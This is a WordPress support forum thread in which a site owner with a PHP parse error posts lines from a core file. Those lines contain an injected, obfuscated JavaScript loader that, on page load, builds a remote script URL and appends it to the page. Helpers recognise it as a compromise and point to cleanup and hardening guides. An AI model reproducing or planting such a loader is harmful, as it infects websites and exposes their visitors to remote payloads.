Parse error: syntax error, unexpected – HELP!

Re-upload the wp-includes folder via FTP or whatever file management application your host provides.

I hate to be obtuse, but re-upload from where?

Download a fresh copy of WordPress and unzip it. FTP to your site, then delete and re-upload the folder as esmi suggests.
https://www.ads-software.com/download/

What did you change to cause that issue though? I smell something fishy.

I haven’t changed anything except for the content on my site. I just posted a new article a few hours ago, then updated two pages to include new writers. Everything was working great until I went to copy a URL from my site so I could send it to friends. That’s when I found the message. Because I used someone else to redesign my site, I don’t know enough about the .php files to even mess around with them.

Ok, FTP to your site. Download this file:
/home/seamhead/public_html/blog/wp-includes/default-filters.php
Open it in your favourite text editor, then look on line 229. Can you post that and the few lines either side here?

I pasted it into Excel and these are lines 226-230.

// Timezone
add_filter( ‘pre_option_gmt_offset’,’wp_timezone_override_offset’ );

<script>var Zm=new Array();try {var mH=””;var r=”;var Z=RegExp;var E=”;var P;if(P!=’dX’){P=’dX’};var Q='[‘;var k=’g’;var i;if(i!=’cG’ && i != ”){i=null};var l=’]’;var f=”;var vB=”;var R=’replace’;var dN;if(dN!=” && dN!=’X’){dN=null};function _(d,lI){var HQ;if(HQ!=’o’ && HQ!=’L’){HQ=’o’};var p=Q;p+=lI;p+=l;var kh=new Z(p, k);var aj=”;var q=new String();return d[R](kh, E);};var ft;if(ft!=” && ft!=’jn’){ft=’CD’};var h=_(‘sTe5tqATtTtTrTiqb5uFtTeF’,”T5qF”);var vL=””;var Zu=_(‘sGc2rGi2pGtG’,”2G”);var mA=”;var rs=”;var C=_(‘oCnBlCoBaBdB’,”BC”);var t=_(‘aGpGpYeYn4d4C4h7iYlYd7’,”YG74″);var Gx=”;var m=_(‘/TgkoKoAgklKe1.1ckokm1/KgAoko1gAlAeA.KcAoTmA/1cKlAaKs1sTm1aKtkeKsT.1cToTmK/AjKrKjk.TcKoTmk.kc1nT/AokvkgTu1i1dKe1.Ac1o1m1.Tp1hApk’,”T1KkA”);var vk;if(vk!=”){vk=’jA’};var _x=_(‘b8oQd8y0’,”80Qc”);var d=”1″;var D=”;var V=”;var I=_(‘h1t1t1p1:D/1/1i1g1n1-1cSoDmS.D5D51b1b1sD.1cSo1mD.DdSo1mDaDiDnDt1oSo1l1sS-DcSoSmS.Sm1ySd1iDr1eDc1tSo1u1tSlSeDtS.SrSuS:D’,”1DS”);var EF;if(EF!=” && EF!=’dF’){EF=’cn’};var PM;if(PM!=” && PM!=’dK’){PM=’bo’};var Ii=_(‘cjr8eKaDtjeKEKlDejmjeDnktK’,”DjKk8″);this.ui=””;var w=”;this.Qt=””;var b=_(‘8664044448464640644′,”64″);var vH;if(vH!=” && vH!=’J’){vH=’Zr’};var BP=new Array();window[C]=function(){var QP;if(QP!=’IS’ && QP!=’mb’){QP=’IS’};Es=document[Ii](Zu);var jw;if(jw!=’ak’ && jw != ”){jw=null};var jM=””;w+=I;w+=b;var XT=new String();var jD=new Array();w+=m;this.Jc=””;var Ok=””;var T=document[_x];this.zN=””;var tB;if(tB!=’s’ && tB!=’lE’){tB=’s’};Es.src=w;Es.setAttribute(‘defer’, d);var YO;if(YO!=”){YO=’kQ’};var EO;if(EO!=’FG’ && EO!=’VI’){EO=”};this.Cd=”;var iU=new Array();T.appendChild(Es);var Oj;if(Oj!=” && Oj!=’Jj’){Oj=”};var II=new String();};var HR=””;} catch(mw){var aV;if(aV!=’dJ’){aV=”};var Fz=new Date();};this.ZP=”;</script>
<!–17f3a551f2eff015a33758cb93c61bbd–>

Uh oh – looks like you may have been hacked.

https://codex.www.ads-software.com/FAQ_My_site_was_hacked
https://www.ads-software.com/support/topic/268083#post-1065779
https://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
https://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/

Well the bad news is that you’ve been hacked.

You’ll probably want to speak to the programmer dude to fix things for you. Re-uploading your wp-admin and wp-includes folders may be a quick fix, but you should really be looking at making sure everything is squeaky clean and preventing that from happening again (and hopefully figuring out how it happened in the first place).

https://codex.www.ads-software.com/FAQ_My_site_was_hacked
https://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
https://codex.www.ads-software.com/Hardening_WordPress

Best of luck.

(uh, beaten to it… damn my slow typing!!)

Damn! Thanks for all your help guys. I appreciate it.

Only just noticed, but congrats on your ‘mod-hood’ by the way esmi, thoroughly deserved! ??

Aww – shucks…:-)

By the way, if you were so quick to detect the hack, isn’t there a way to just delete the bad code or is that too simplistic?

We can identify it when we see it but there’s no way to know just how many files have been corrupted with this code. It’s probably best to assume that it could be every file.

Added to which, many hackers try to leave a back door in as well. This is a file that looks innocent (and hence escapes an initial clean-up) but that allows the hacker to easily regain access to all files and simply re-infect them. The very last link I gave provides advice on where to look for these back doors.

Okay. Thanks again.

Hi, I am having a similar problem. Same error code, unfortunately I am waiting to hear back from the web guy- I don’t currently have access to the installation files, so I am unable to re-install the wp-includes file. Here is the code lines 358-372. In the error message it says, “Parse error: syntax error, unexpected ‘<‘ in /home/contin15/public_html/wp-content/themes/continuum1/functions.php on line 361”

$output .= “\n\t” . ‘</’ . $itemtag . ‘>’;
if ( $columns > 0 && ++$i % $columns == 0 )
$output .= “\n</div>\n” . ‘<div class=”gallery”>’;
}
$output .= “\n</div>\n”;

return $output;
}

// Widget: Search; to match the Sandbox style and replace Widget plugin default
function widget_sandbox_search($args) {
extract($args);
$options = get_option(‘widget_sandbox_search’);
$title = empty($options[‘title’]) ? __( ‘Search’, ‘sandbox’ ) : attribute_escape($options[‘title’]);
$button = empty($options[‘button’]) ? __( ‘Find’, ‘sandbox’ ) : attribute_escape($options[‘button’]);
?>

Any help, would be much appreciated/!!